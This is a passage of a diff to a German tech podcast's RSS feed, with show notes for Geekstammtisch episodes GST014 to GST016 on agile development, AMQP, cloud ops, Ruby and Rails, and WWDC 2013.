+ * Präsentationen mit Post-it!s?
+ * Visual Facilitation kann man lernen, selbst als Nerd: http://de.wikipedia.org/wiki/Visual_Facilitation
+
+### Prozesse zur Softwareentwicklung & Arbeitsmodelle (00:35:00)
+
+ * Wasserfall: http://en.wikipedia.org/wiki/Waterfall_model
+ * Man kann aus zwei verschiedenen Richtungen zur agilen Softwareentwicklung kommen
+ * man möchte “weniger†oder andere Strukturen (von Wasserfall her kommend)
+ * man möchte mehr Struktur, weil es vorher gar keine gab (kein Prozess)
+ * Das agile Manifest (Manifesto for Agile Software Development): http://agilemanifesto.org/
+ * Principles behind the Agile Manifesto: http://agilemanifesto.org/principles.html
+ * Matthias findet Face-to-Face Kommunikation sehr wichtig und wir fragen uns, wie sich das in Einklang bringen kann mit verteilten Arbeiten, Homeoffice usw.
+ * Wie bringt man für agile Entwicklung Leute zusammen, die nicht die selbe Sprache als Muttersprache haben? Oder nicht alle vor Ort sind?
+ * Matthias würde immer nicht-verteilt arbeiten, wenn es möglich ist
+ * …andere versuchen genau das Gegenteil
+ * Marissa Mayer von Yahoo ruft die Homeoffice-Arbeiter zurück: http://www.nytimes.com/2013/02/26/technology/yahoo-orders-home-workers-back-to-the-office.html?pagewanted=all
+ * The Values of Extreme Programming: Simplicity, Communication, Feedback, Respect and Courage (http://www.extremeprogramming.org/values.html)
+ * Einführung von (agilen) Entwicklungsprozessen: Langsam und vorsichtig, oder ganz oder gar nicht
+ * Kanban (http://en.wikipedia.org/wiki/Kanban) als minimaler Prozess
+ * Dirk hat bei pkw.de gute Erfahrung damit gemacht, den “ganz oder gar nichtâ€-Ansatz zu verfolgen und sich einen externen Scrum Master zu besorgen
+ * Wir sind uns einig, dass Retrospektiven, das zentrale und entscheidene Mittel in guten Entwicklungsprozessen ist.
+ * Ein agiler Ansatz hat Auswirkungen auf das ganze Unternehmen: Agile Softwareentwicklung => Agiles Unternehmen
+ * Wir stellen fest, dass die ganze agile Bewegung schon recht alt ist (z.B. Lean Manufacturing: http://en.wikipedia.org/wiki/Lean_manufacturing)
+ * Embrace the Change, Veränderung ist Teil des Systems, und kein Fehler.
+
+### Das Wort zum Sonntag (01:35:42)
+
+ * Matthias empfielt alles von Henrik Kniberg (@henrikkniberg, http://www.crisp.se/konsulter/henrik-kniberg), z.B. http://blog.crisp.se/2012/11/14/henrikkniberg/scaling-agile-at-spotify)
+ * Kommt zu User Groups, tauscht euch aus!
+ * Hört Podcasts! :)
+ * Matthias ruft auf zur NoDev User Group in Köln, analog zu NoSQL, Not-Only Dev!
+ * aka "Business Kasper UG"
+ * #nodev
+ * Business Kasper (http://vimeo.com/4560687)]]></itunes:summary>
+ <description><![CDATA[<p><strong>Synopsis</strong>: Wir haben uns mit Matthias <a href="https://twitter.com/luebken">@luebken</a> hingesetzt und einen
+Geekstammtisch abgehalten. Gesprochen haben darüber, was einen guten,
+leidenschaftlichen Softwareentwickler ausmacht und warum wir alle agile
+Softwareentwicklung machen (wollen). Wie immer schweifen wir in alle
+mögliche Richtungen ab und danken <a href="https://twitter.com/larsvegas">@larsvegas</a> für das Bringen neuen
+Bieres!</p>
+
+<h3>Intro &amp; Gast (00:00:00)</h3>
+
+<ul>
+<li>Matthias trinkt Leffe Ruby: <a href="http://www.leffe.com/en/beer/leffe-ruby">http://www.leffe.com/en/beer/leffe-ruby</a></li>
+<li>Macht was mit Softwareentwicklung</li>
+<li>Director Software Development bei Adcloud</li>
+<li>Matthias &lt;3 Agile Softwareentwicklung</li>
+<li>Programmiert zwar gerne, sein Steckenpferd ist aber eher der Enabler zu sein für Entwicklung</li>
+</ul>
+
+<h3>Der ideale Entwickler (00:04:45)</h3>
+
+<ul>
+<li>Die Basis sind wirklich gute Entwickler
+
+<ul>
+<li>Wir sind uns einig, dass “gut†nicht wirklich scharf zu definieren ist</li>
+<li>Leidenschaft für die Sache scheint ein wichtiger Punkt zu sein</li>
+</ul></li>
+<li>Braucht man “Coding Monkeys�</li>
+<li>Extreme Programming: <a href="http://en.wikipedia.org/wiki/Extreme_programming">http://en.wikipedia.org/wiki/Extreme_programming</a>
+
+<ul>
+<li>Sustainable Pace: <a href="http://en.wikipedia.org/wiki/Extreme_programming_practices#Sustainable_pace">http://en.wikipedia.org/wiki/Extreme_programming_practices#Sustainable_pace</a></li>
+</ul></li>
+<li>(Aus GST011) Chad Fowler beschreibt seinen Traummitarbeiter: <a href="http://chadfowler.com/blog/2013/04/09/who-i-want-to-hire/">http://chadfowler.com/blog/2013/04/09/who-i-want-to-hire/</a></li>
+<li>Matthias will &quot;Generalizing Specialists&quot;: <a href="http://www.agilemodeling.com/essays/generalizingSpecialists.htm">http://www.agilemodeling.com/essays/generalizingSpecialists.htm</a> (von Scott W. Ambler)</li>
+<li>T-Shaped People
+
+<ul>
+<li>ein Spezialgebiet</li>
+<li>aber trotzdem eine gewisse Weitsicht</li>
+</ul></li>
+</ul>
+
+<h3>Einschub: Post-it! (00:26:16)</h3>
+
+<ul>
+<li>Matthias liebt Post-it! Er arbeitet viel mit kleinen Zetteln in verschiedenen Bereichen der Produkt- und Softwareentwicklung bei Adcloud</li>
+<li>Matthias bietet Schulungen an, wie man Post-its richtig abzieht :)</li>
+<li>Präsentationen mit Post-it!s?</li>
+<li>Visual Facilitation kann man lernen, selbst als Nerd: <a href="http://de.wikipedia.org/wiki/Visual_Facilitation">http://de.wikipedia.org/wiki/Visual_Facilitation</a></li>
+</ul>
+
+<h3>Prozesse zur Softwareentwicklung &amp; Arbeitsmodelle (00:35:00)</h3>
+
+<ul>
+<li>Wasserfall: <a href="http://en.wikipedia.org/wiki/Waterfall_model">http://en.wikipedia.org/wiki/Waterfall_model</a></li>
+<li>Man kann aus zwei verschiedenen Richtungen zur agilen Softwareentwicklung kommen
+
+<ul>
+<li>man möchte “weniger†oder andere Strukturen (von Wasserfall her kommend)</li>
+<li>man möchte mehr Struktur, weil es vorher gar keine gab (kein Prozess)</li>
+</ul></li>
+<li>Das agile Manifest (Manifesto for Agile Software Development): <a href="http://agilemanifesto.org/">http://agilemanifesto.org/</a></li>
+<li>Principles behind the Agile Manifesto: <a href="http://agilemanifesto.org/principles.html">http://agilemanifesto.org/principles.html</a></li>
+<li>Matthias findet Face-to-Face Kommunikation sehr wichtig und wir fragen uns, wie sich das in Einklang bringen kann mit verteilten Arbeiten, Homeoffice usw.</li>
+<li>Wie bringt man für agile Entwicklung Leute zusammen, die nicht die selbe Sprache als Muttersprache haben? Oder nicht alle vor Ort sind?</li>
+<li>Matthias würde immer nicht-verteilt arbeiten, wenn es möglich ist
+
+<ul>
+<li>…andere versuchen genau das Gegenteil</li>
+</ul></li>
+<li>Marissa Mayer von Yahoo ruft die Homeoffice-Arbeiter zurück: <a href="http://www.nytimes.com/2013/02/26/technology/yahoo-orders-home-workers-back-to-the-office.html?pagewanted=all">http://www.nytimes.com/2013/02/26/technology/yahoo-orders-home-workers-back-to-the-office.html?pagewanted=all</a></li>
+<li>The Values of Extreme Programming: Simplicity, Communication, Feedback, Respect and Courage (<a href="http://www.extremeprogramming.org/values.html">http://www.extremeprogramming.org/values.html</a>)
+
+<ul>
+<li>Einführung von (agilen) Entwicklungsprozessen: Langsam und vorsichtig, oder ganz oder gar nicht</li>
+<li>Kanban (<a href="http://en.wikipedia.org/wiki/Kanban">http://en.wikipedia.org/wiki/Kanban</a>) als minimaler Prozess</li>
+</ul></li>
+<li>Dirk hat bei pkw.de gute Erfahrung damit gemacht, den “ganz oder gar nichtâ€-Ansatz zu verfolgen und sich einen externen Scrum Master zu besorgen</li>
+<li>Wir sind uns einig, dass Retrospektiven, das zentrale und entscheidene Mittel in guten Entwicklungsprozessen ist.</li>
+<li>Ein agiler Ansatz hat Auswirkungen auf das ganze Unternehmen: Agile Softwareentwicklung =&gt; Agiles Unternehmen</li>
+<li>Wir stellen fest, dass die ganze agile Bewegung schon recht alt ist (z.B. Lean Manufacturing: <a href="http://en.wikipedia.org/wiki/Lean_manufacturing">http://en.wikipedia.org/wiki/Lean_manufacturing</a>)</li>
+<li>Embrace the Change, Veränderung ist Teil des Systems, und kein Fehler.</li>
+</ul>
+
+<h3>Das Wort zum Sonntag (01:35:42)</h3>
+
+<ul>
+<li>Matthias empfielt alles von Henrik Kniberg (<a href="https://twitter.com/henrikkniberg">@henrikkniberg</a>, <a href="http://www.crisp.se/konsulter/henrik-kniberg">http://www.crisp.se/konsulter/henrik-kniberg</a>), z.B. <a href="http://blog.crisp.se/2012/11/14/henrikkniberg/scaling-agile-at-spotify">http://blog.crisp.se/2012/11/14/henrikkniberg/scaling-agile-at-spotify</a>)</li>
+<li>Kommt zu User Groups, tauscht euch aus!</li>
+<li>Hört Podcasts! :)</li>
+<li>Matthias ruft auf zur NoDev User Group in Köln, analog zu NoSQL, Not-Only Dev!
+
+<ul>
+<li>aka &quot;Business Kasper UG&quot;</li>
+<li>#nodev</li>
+<li>Business Kasper (<a href="http://vimeo.com/4560687">http://vimeo.com/4560687</a>)</li>
+</ul></li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST014" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Intro &amp; Gast" />
+
+ <psc:chapter start="00:04:45" title="Der ideale Entwickler" />
+
+ <psc:chapter start="00:26:16" title="Einschub: Post-it!" />
+
+ <psc:chapter start="00:35:00" title="Prozesse zur Softwareentwicklung &amp; Arbeitsmodelle" />
+
+ <psc:chapter start="01:35:42" title="Das Wort zum Sonntag" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST015 - Geschäftsvorfall als Ereignis</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Mit Michael Bumann (@bumi) über AMQP und Legacy-Systeme, Cloud-Hosting und und und…</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst015.mp3" length="81345536" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST015</guid>
+ <pubDate>Sun, 09 Jun 2013 17:58:55 +0200</pubDate>
+ <itunes:duration>01:52:37</itunes:duration>
+ <itunes:summary><![CDATA[**Synopsis**: Diesmal ist es wieder technischer, aber nicht weniger nerdig. Wir hatten @bumi von @railslove zu Gast. Mit ihm haben wir über gute Zusammenarbeit von Kunde und Auftraggeber gesprochen. Weiterhin war AMQP zur Anbindung von Legacy-Systemen und das Betreiben von Software in der Cloud das Thema. Es gab dann noch einiges über Ruby und Frontendentwicklung zu erzählen. Und zum Schluss gibt es dann, wie immer, dann noch ein paar Hinweise auf interessante Events in nächster Zeit.
+
+### Unser Gast (00:00:00)
+
+ * Michael Bumann (@bumi, http://michaelbumann.com) hat Railslove gegründet und arbeitet da
+ * Arbeitet gerade an einer Merchant Portal für einen Payment Service Provider
+ * Bumi trinkt Tegernseer Hell
+ * Basti trinkt Augustiner Edelstoff
+ * Coworking in Köln: https://www.facebook.com/cowoco
+ * Basti erinnert sich an das Wikipedia Assoziationsspiel: http://www.re-publica.de/sessions/six-degrees-wikipedia
+ (gehört bei http://not-safe-for-work.de/nsfw070/)
+
+### Software Engineering (00:06:35)
+
+ * PSP: Payment-Service-Provide (http://en.wikipedia.org/wiki/Payment_service_provider)
+ * Bankenumfeld bedeutet immer auch Legacy-Systeme anbinden
+ * Message-basierte Kommunikation auf Basis von AMQP (http://en.wikipedia.org/wiki/Advanced_Message_Queuing_Protocol)
+ mit RabbitMQ (http://www.rabbitmq.com/)
+ * Entkopplung von Systemen durch Messaging
+ * Railslove macht nicht nur "einfache" Entwicklung, sondern arbeitet
+ in einem ganzheitlichen Ansatz: Anforderungen ermitteln, Technologie
+ auswählen, Implementierung bis hin zu UI-Unterstützung
+ * AMQP scheint im Bankensektor sehr verbreitet
+ * In Ruby verwendet man das amqp-gem (https://github.com/ruby-amqp/amqp/)
+ * Fehlerbehandlung ist nicht trivial
+ * Testing von asynchronem Code ist immer schwierig
+ * Fokus auf Unit-Testing
+ * Callbacks testbar machen: Der Anwendungsfall™ für die
+ `method`-Methode
+ * Failover-Testing ist auch hart…
+
+### Monitoring (00:29:36)
+
+ * Monitoring to the rescue
+ * RabbitMQ hat ein hervorragendes Monitoring Plugin: http://www.rabbitmq.com/management.html
+ * Unabhängig von RabbitMQ Events erzeugen, um sich ein Dashboard
+ zusammenbauen zu können
+ * Welche Möglichkeiten gibt es:
+ * Hosted Graphite, z.B. https://www.hostedgraphite.com/
+ * `ActiveSupport::Notifications`
+ * Custom Events bei NewRelic: https://newrelic.com/docs/instrumentation/custom-metric-collection
+ * Spannend ist es wenn es nicht nur ums Anzeigen geht, sondern wenn
+ man darauf Alerts definiert
+ * Es gibt eine Vielzahl von gehosteten Lösungen, die preislich alle
+ irgendwann nicht mehr skalieren.
+ * Events über Logging
+ * Papertrail (https://papertrailapp.com/)
+ * Splunkstorm (https://www.splunkstorm.com/)
+
+### Ops (00:39:10)
+
+ * http://www.baremetalcloud.com/index.php/en/
+ * Amazon EC2 Instance Pricing Calculator: http://promptcloud.com/ec2-ondemand-vs-reserved-instance-pricing.php
+ * Why I Dislike EC2 (Karl Seguin): http://openmymind.net/Why-I-Dislike-ec2/
+ * Die Cloud macht erst dann wirklich Sinn, wenn man sehr viele der angebotenen Dienste auch nutzt
+ * Railslove benutzt viel Brightbox (http://brightbox.com/)
+ * Brightbox Ruby PPA: http://tech.brightbox.com/posts/2013-05-31-passenger-and-ruby-ubuntu-updates/
+ * New Relic von Tilde, Inc.: https://github.com/tokaido/tokaidoapp#readme)
+
+### Ruby (00:53:15)
+
+ * Fahrplan für Ruby 2.1: http://rvm.jp/t.pdf
+ * Ruby Lang (inkl. Doku) auf GitHub: https://github.com/ruby/www.ruby-lang.org
+ * DTrace: http://crypt.codemancers.com/posts/2013-05-04-profile-ruby-2-dot-0-apps-using-dtrace-part-2
+ * Octokit, das neue Gem für Github/GHE: https://github.com/octokit/octokit.rb
+ * Futures für ActiveRecord: "Specify queries to be sent all at once to the database. Save round trips!"
+ https://github.com/leoasis/activerecord-futures
+ * Gem Dependencies: https://www.gemlou.pe
+ * Gem Hosting
+ * http://www.gemfury.com/
+ * https://github.com/cwninja/geminabox
+
+### Rails (01:11:52)
+
+ * RailsConf 2013 Videos online: http://confreaks.com/events/railsconf2013
+ * Watchlater playlist: http://watchlaterapp.com/folders/4fa7b7866ba60a0d58000023) (ask for invites)
+ * Worst Ideas Ever: http://www.confreaks.com/videos/198-rubyconf2009-worst-ideas-ever
+ * “Native†UUIDs in Rails 4 <3 Aaron!: https://github.com/rails/rails/commit/bc8ebefe9825dbff2cffa29ff015a1e7a31f9812
+
+### Tools (01:20:46)
+
+ * zsh-lovers - tips, tricks and examples for the Z shell: http://grml.org/zsh/zsh-lovers.html
+
+### Geiler Scheiß (01:24:31)
+
+ * The Open Source Report Card: http://osrc.dfm.io/
+ * The Sketchnote Handbook: http://rohdesign.com/book
+ * http://popapp.in/
+
+### Geiler Frontend Scheiß (01:30:30)
+
+ * Cross-Browser Testing
+ * Browserling: https://browserling.com/
+ * Browserstack: http://www.browserstack.com/
+ * CrossBrowserTesting: http://crossbrowsertesting.com/
+ * modern.IE: http://www.modern.ie/en-us
+ * Processing RAW Images mit JavaScript: http://blog.bitops.com/blog/2013/06/04/webraw-asmjs/
+
+### Events (01:40:06)
+
+ * Rails Girls - Summer of Code: http://railsgirlssummerofcode.org/
+ * Railscamp Germany, 27. + 28. Juli: http://railscamp.github.io/railscamp-germany-2013/
+ * Interactive Cologne, 17.-23. Juni: http://interactive-cologne.com/
+ * SIGINT in Köln, 5.-7. Juli
+ * Unser Talks auf der SIGINT: https://frab.cccv.de/export/sigint13/events/5065.html
+ * https://register.dpma.de/DPMAregister/marke/register/3020120063403/DE]]></itunes:summary>
+ <description><![CDATA[<p><strong>Synopsis</strong>: Diesmal ist es wieder technischer, aber nicht weniger nerdig. Wir hatten <a href="https://twitter.com/bumi">@bumi</a> von <a href="https://twitter.com/railslove">@railslove</a> zu Gast. Mit ihm haben wir über gute Zusammenarbeit von Kunde und Auftraggeber gesprochen. Weiterhin war AMQP zur Anbindung von Legacy-Systemen und das Betreiben von Software in der Cloud das Thema. Es gab dann noch einiges über Ruby und Frontendentwicklung zu erzählen. Und zum Schluss gibt es dann, wie immer, dann noch ein paar Hinweise auf interessante Events in nächster Zeit.</p>
+
+<h3>Unser Gast (00:00:00)</h3>
+
+<ul>
+<li>Michael Bumann (<a href="https://twitter.com/bumi">@bumi</a>, <a href="http://michaelbumann.com">http://michaelbumann.com</a>) hat Railslove gegründet und arbeitet da</li>
+<li>Arbeitet gerade an einer Merchant Portal für einen Payment Service Provider</li>
+<li>Bumi trinkt Tegernseer Hell</li>
+<li>Basti trinkt Augustiner Edelstoff</li>
+<li>Coworking in Köln: <a href="https://www.facebook.com/cowoco">https://www.facebook.com/cowoco</a></li>
+<li>Basti erinnert sich an das Wikipedia Assoziationsspiel: <a href="http://www.re-publica.de/sessions/six-degrees-wikipedia">http://www.re-publica.de/sessions/six-degrees-wikipedia</a>
+(gehört bei <a href="http://not-safe-for-work.de/nsfw070/">http://not-safe-for-work.de/nsfw070/</a>)</li>
+</ul>
+
+<h3>Software Engineering (00:06:35)</h3>
+
+<ul>
+<li>PSP: Payment-Service-Provide (<a href="http://en.wikipedia.org/wiki/Payment_service_provider">http://en.wikipedia.org/wiki/Payment_service_provider</a>)</li>
+<li>Bankenumfeld bedeutet immer auch Legacy-Systeme anbinden</li>
+<li>Message-basierte Kommunikation auf Basis von AMQP (<a href="http://en.wikipedia.org/wiki/Advanced_Message_Queuing_Protocol">http://en.wikipedia.org/wiki/Advanced_Message_Queuing_Protocol</a>)
+mit RabbitMQ (<a href="http://www.rabbitmq.com/">http://www.rabbitmq.com/</a>)</li>
+<li>Entkopplung von Systemen durch Messaging</li>
+<li>Railslove macht nicht nur &quot;einfache&quot; Entwicklung, sondern arbeitet
+in einem ganzheitlichen Ansatz: Anforderungen ermitteln, Technologie
+auswählen, Implementierung bis hin zu UI-Unterstützung</li>
+<li>AMQP scheint im Bankensektor sehr verbreitet</li>
+<li>In Ruby verwendet man das amqp-gem (<a href="https://github.com/ruby-amqp/amqp/">https://github.com/ruby-amqp/amqp/</a>)</li>
+<li>Fehlerbehandlung ist nicht trivial</li>
+<li>Testing von asynchronem Code ist immer schwierig
+
+<ul>
+<li>Fokus auf Unit-Testing</li>
+<li>Callbacks testbar machen: Der Anwendungsfall™ für die
+<code>method</code>-Methode</li>
+</ul></li>
+<li>Failover-Testing ist auch hart…</li>
+</ul>
+
+<h3>Monitoring (00:29:36)</h3>
+
+<ul>
+<li>Monitoring to the rescue
+
+<ul>
+<li>RabbitMQ hat ein hervorragendes Monitoring Plugin: <a href="http://www.rabbitmq.com/management.html">http://www.rabbitmq.com/management.html</a></li>
+<li>Unabhängig von RabbitMQ Events erzeugen, um sich ein Dashboard
+zusammenbauen zu können</li>
+</ul></li>
+<li>Welche Möglichkeiten gibt es:
+
+<ul>
+<li>Hosted Graphite, z.B. <a href="https://www.hostedgraphite.com/">https://www.hostedgraphite.com/</a></li>
+<li><code>ActiveSupport::Notifications</code></li>
+<li>Custom Events bei NewRelic: <a href="https://newrelic.com/docs/instrumentation/custom-metric-collection">https://newrelic.com/docs/instrumentation/custom-metric-collection</a></li>
+</ul></li>
+<li>Spannend ist es wenn es nicht nur ums Anzeigen geht, sondern wenn
+man darauf Alerts definiert</li>
+<li>Es gibt eine Vielzahl von gehosteten Lösungen, die preislich alle
+irgendwann nicht mehr skalieren.</li>
+<li>Events über Logging
+
+<ul>
+<li>Papertrail (<a href="https://papertrailapp.com/">https://papertrailapp.com/</a>)</li>
+<li>Splunkstorm (<a href="https://www.splunkstorm.com/">https://www.splunkstorm.com/</a>)</li>
+</ul></li>
+</ul>
+
+<h3>Ops (00:39:10)</h3>
+
+<ul>
+<li><a href="http://www.baremetalcloud.com/index.php/en/">http://www.baremetalcloud.com/index.php/en/</a></li>
+<li>Amazon EC2 Instance Pricing Calculator: <a href="http://promptcloud.com/ec2-ondemand-vs-reserved-instance-pricing.php">http://promptcloud.com/ec2-ondemand-vs-reserved-instance-pricing.php</a></li>
+<li>Why I Dislike EC2 (Karl Seguin): <a href="http://openmymind.net/Why-I-Dislike-ec2/">http://openmymind.net/Why-I-Dislike-ec2/</a></li>
+<li>Die Cloud macht erst dann wirklich Sinn, wenn man sehr viele der angebotenen Dienste auch nutzt</li>
+<li>Railslove benutzt viel Brightbox (<a href="http://brightbox.com/">http://brightbox.com/</a>)</li>
+<li>Brightbox Ruby PPA: <a href="http://tech.brightbox.com/posts/2013-05-31-passenger-and-ruby-ubuntu-updates/">http://tech.brightbox.com/posts/2013-05-31-passenger-and-ruby-ubuntu-updates/</a></li>
+<li>New Relic von Tilde, Inc.: <a href="https://github.com/tokaido/tokaidoapp#readme">https://github.com/tokaido/tokaidoapp#readme</a>)</li>
+</ul>
+
+<h3>Ruby (00:53:15)</h3>
+
+<ul>
+<li>Fahrplan für Ruby 2.1: <a href="http://rvm.jp/t.pdf">http://rvm.jp/t.pdf</a></li>
+<li>Ruby Lang (inkl. Doku) auf GitHub: <a href="https://github.com/ruby/www.ruby-lang.org">https://github.com/ruby/www.ruby-lang.org</a></li>
+<li>DTrace: <a href="http://crypt.codemancers.com/posts/2013-05-04-profile-ruby-2-dot-0-apps-using-dtrace-part-2">http://crypt.codemancers.com/posts/2013-05-04-profile-ruby-2-dot-0-apps-using-dtrace-part-2</a></li>
+<li>Octokit, das neue Gem für Github/GHE: <a href="https://github.com/octokit/octokit.rb">https://github.com/octokit/octokit.rb</a></li>
+<li>Futures für ActiveRecord: &quot;Specify queries to be sent all at once to the database. Save round trips!&quot;
+<a href="https://github.com/leoasis/activerecord-futures">https://github.com/leoasis/activerecord-futures</a></li>
+<li>Gem Dependencies: <a href="https://www.gemlou.pe">https://www.gemlou.pe</a></li>
+<li>Gem Hosting
+
+<ul>
+<li><a href="http://www.gemfury.com/">http://www.gemfury.com/</a></li>
+<li><a href="https://github.com/cwninja/geminabox">https://github.com/cwninja/geminabox</a></li>
+</ul></li>
+</ul>
+
+<h3>Rails (01:11:52)</h3>
+
+<ul>
+<li>RailsConf 2013 Videos online: <a href="http://confreaks.com/events/railsconf2013">http://confreaks.com/events/railsconf2013</a></li>
+<li>Watchlater playlist: <a href="http://watchlaterapp.com/folders/4fa7b7866ba60a0d58000023">http://watchlaterapp.com/folders/4fa7b7866ba60a0d58000023</a>) (ask for invites)</li>
+<li>Worst Ideas Ever: <a href="http://www.confreaks.com/videos/198-rubyconf2009-worst-ideas-ever">http://www.confreaks.com/videos/198-rubyconf2009-worst-ideas-ever</a></li>
+<li>“Native†UUIDs in Rails 4 &lt;3 Aaron!: <a href="https://github.com/rails/rails/commit/bc8ebefe9825dbff2cffa29ff015a1e7a31f9812">https://github.com/rails/rails/commit/bc8ebefe9825dbff2cffa29ff015a1e7a31f9812</a></li>
+</ul>
+
+<h3>Tools (01:20:46)</h3>
+
+<ul>
+<li>zsh-lovers - tips, tricks and examples for the Z shell: <a href="http://grml.org/zsh/zsh-lovers.html">http://grml.org/zsh/zsh-lovers.html</a></li>
+</ul>
+
+<h3>Geiler Scheiß (01:24:31)</h3>
+
+<ul>
+<li>The Open Source Report Card: <a href="http://osrc.dfm.io/">http://osrc.dfm.io/</a></li>
+<li>The Sketchnote Handbook: <a href="http://rohdesign.com/book">http://rohdesign.com/book</a></li>
+<li><a href="http://popapp.in/">http://popapp.in/</a></li>
+</ul>
+
+<h3>Geiler Frontend Scheiß (01:30:30)</h3>
+
+<ul>
+<li>Cross-Browser Testing
+
+<ul>
+<li>Browserling: <a href="https://browserling.com/">https://browserling.com/</a></li>
+<li>Browserstack: <a href="http://www.browserstack.com/">http://www.browserstack.com/</a></li>
+<li>CrossBrowserTesting: <a href="http://crossbrowsertesting.com/">http://crossbrowsertesting.com/</a></li>
+<li>modern.IE: <a href="http://www.modern.ie/en-us">http://www.modern.ie/en-us</a></li>
+</ul></li>
+<li>Processing RAW Images mit JavaScript: <a href="http://blog.bitops.com/blog/2013/06/04/webraw-asmjs/">http://blog.bitops.com/blog/2013/06/04/webraw-asmjs/</a></li>
+</ul>
+
+<h3>Events (01:40:06)</h3>
+
+<ul>
+<li>Rails Girls - Summer of Code: <a href="http://railsgirlssummerofcode.org/">http://railsgirlssummerofcode.org/</a></li>
+<li>Railscamp Germany, 27. + 28. Juli: <a href="http://railscamp.github.io/railscamp-germany-2013/">http://railscamp.github.io/railscamp-germany-2013/</a></li>
+<li>Interactive Cologne, 17.-23. Juni: <a href="http://interactive-cologne.com/">http://interactive-cologne.com/</a></li>
+<li>SIGINT in Köln, 5.-7. Juli
+
+<ul>
+<li>Unser Talks auf der SIGINT: <a href="https://frab.cccv.de/export/sigint13/events/5065.html">https://frab.cccv.de/export/sigint13/events/5065.html</a></li>
+</ul></li>
+<li><a href="https://register.dpma.de/DPMAregister/marke/register/3020120063403/DE">https://register.dpma.de/DPMAregister/marke/register/3020120063403/DE</a></li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST015" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Unser Gast" />
+
+ <psc:chapter start="00:06:35" title="Software Engineering" />
+
+ <psc:chapter start="00:29:36" title="Monitoring" />
+
+ <psc:chapter start="00:39:10" title="Ops" />
+
+ <psc:chapter start="00:53:15" title="Ruby" />
+
+ <psc:chapter start="01:11:52" title="Rails" />
+
+ <psc:chapter start="01:20:46" title="Tools" />
+
+ <psc:chapter start="01:24:31" title="Geiler Scheiß" />
+
+ <psc:chapter start="01:30:30" title="Geiler Frontend Scheiß" />
+
+ <psc:chapter start="01:40:06" title="Events" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST016 - WWDC 2013 - Surfin’ USA</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Wir kommentieren die WWDC 2013 Keynote</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst016.mp3" length="30029755" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST016</guid>
+ <pubDate>Tue, 11 Jun 2013 21:14:00 +0200</pubDate>
+ <itunes:duration>00:41:22</itunes:duration>
+ <itunes:summary><![CDATA[**Synopsis:** Anlässlich der diesjährigen Apple Entwickler Konferenz und
+der Tatsache, dass es endlich mal wieder einen Live-Stream gab, wollen
+wir uns einen Kommentar nicht nehmen lassen. Wir halten uns diesmal
+bewusst kurz, schneiden aber trotzdem alle Punkte zumindest an.
+Beeindruckt hat uns der neue Mac Pro, bei iOS 7 sind wir uns noch nicht
+sicher und OS X 10.9 macht vor allem den Eindruck, dass aufgeräumt wird.
+
+### Intro (00:00:00)
+
+ * Heute der Kommentar zur WWDC 2013 mit Basti und Dirk
+
+### Neues OS X: Mavericks (00:03:22)
+
+ * http://appleinsider.com/articles/13/06/10/apple-announces-os-x-mavericks-with-finder-tabs -tags-multiple-displays
+ * Ruby 2.0 ist Default in 10.9: https://twitter.com/y8/status/344430545113075712
+ * Tabs im Finder
+ * Tags! (Umgesetzt wahrscheinlich via Spotlight Keywords)
+ * Native Maps Anwendung und neuer Kalender
+ * Endlich ein brauchbarer Multi-Screen Support (und erweiterter Desktop auf Apple-TV)
+ * Viel unter der Haube passiert (Timer Coalescing und Compressed Memory)
+ * Neue Safari Version
+ * iCloud-Keychain
+
+### Hardware (00:20:14)
+
+ * MacBook Air Update (12 Stunden Akkulaufzeit)
+ * Mac Pro
+ * http://appleinsider.com/articles/13/06/10/apple-offers-sneak-peek-at-new-cylindrical-mac-pro-assembled-in-the-usa
+ * http://www.crackajack.de/2013/06/11/darth-pro/
+ * Apple’s Produktseite: http://www.apple.com/mac-pro/
+ * Neue AirPort Extreme (mit 802.11ac Support, IPv6 über PPPoE unklar)
+ * Neue AirPort Time Capsule (wie Extreme nur mit HDD; in 2 und 3 TB)
+
+### iOS 7 (00:27:01)
+
+ * http://appleinsider.com/articles/13/06/10/apple-reveals-overhauled-ios-7-with-flatter-more-colorful-design
+ * Vollständig überarbeitete GUI
+ * Besseres Siri
+ * Besseres Multitasking
+ * AirDrop und Control Center
+ * Find My iPhone Activation Lock für mehr Sicherheit gegen Diebstahl
+ * iTunes Radio
+
+### Sonstiges (00:37:40)
+
+ * Ende des Jahres wohl auch endlich mal ein neues iWork und zum Glück endlich iWork via iCloud
+ * Im (deutschen) Apple Store Zahlung via PayPal möglich: http://store.apple.com/de/help/payments#payments
+ * Gerade Apple Geld für 20% weniger: www.rewe.de/besser-einkaufen/services-im-markt/itunes-geschenkkarte.html]]></itunes:summary>
+ <description><![CDATA[<p><strong>Synopsis:</strong> Anlässlich der diesjährigen Apple Entwickler Konferenz und
+der Tatsache, dass es endlich mal wieder einen Live-Stream gab, wollen
+wir uns einen Kommentar nicht nehmen lassen. Wir halten uns diesmal
+bewusst kurz, schneiden aber trotzdem alle Punkte zumindest an.
+Beeindruckt hat uns der neue Mac Pro, bei iOS 7 sind wir uns noch nicht
+sicher und OS X 10.9 macht vor allem den Eindruck, dass aufgeräumt wird.</p>
+
+<h3>Intro (00:00:00)</h3>
+
+<ul>
+<li>Heute der Kommentar zur WWDC 2013 mit Basti und Dirk</li>
+</ul>
+
+<h3>Neues OS X: Mavericks (00:03:22)</h3>
+
+<ul>
+<li><a href="http://appleinsider.com/articles/13/06/10/apple-announces-os-x-mavericks-with-finder-tabs">http://appleinsider.com/articles/13/06/10/apple-announces-os-x-mavericks-with-finder-tabs</a> -tags-multiple-displays</li>
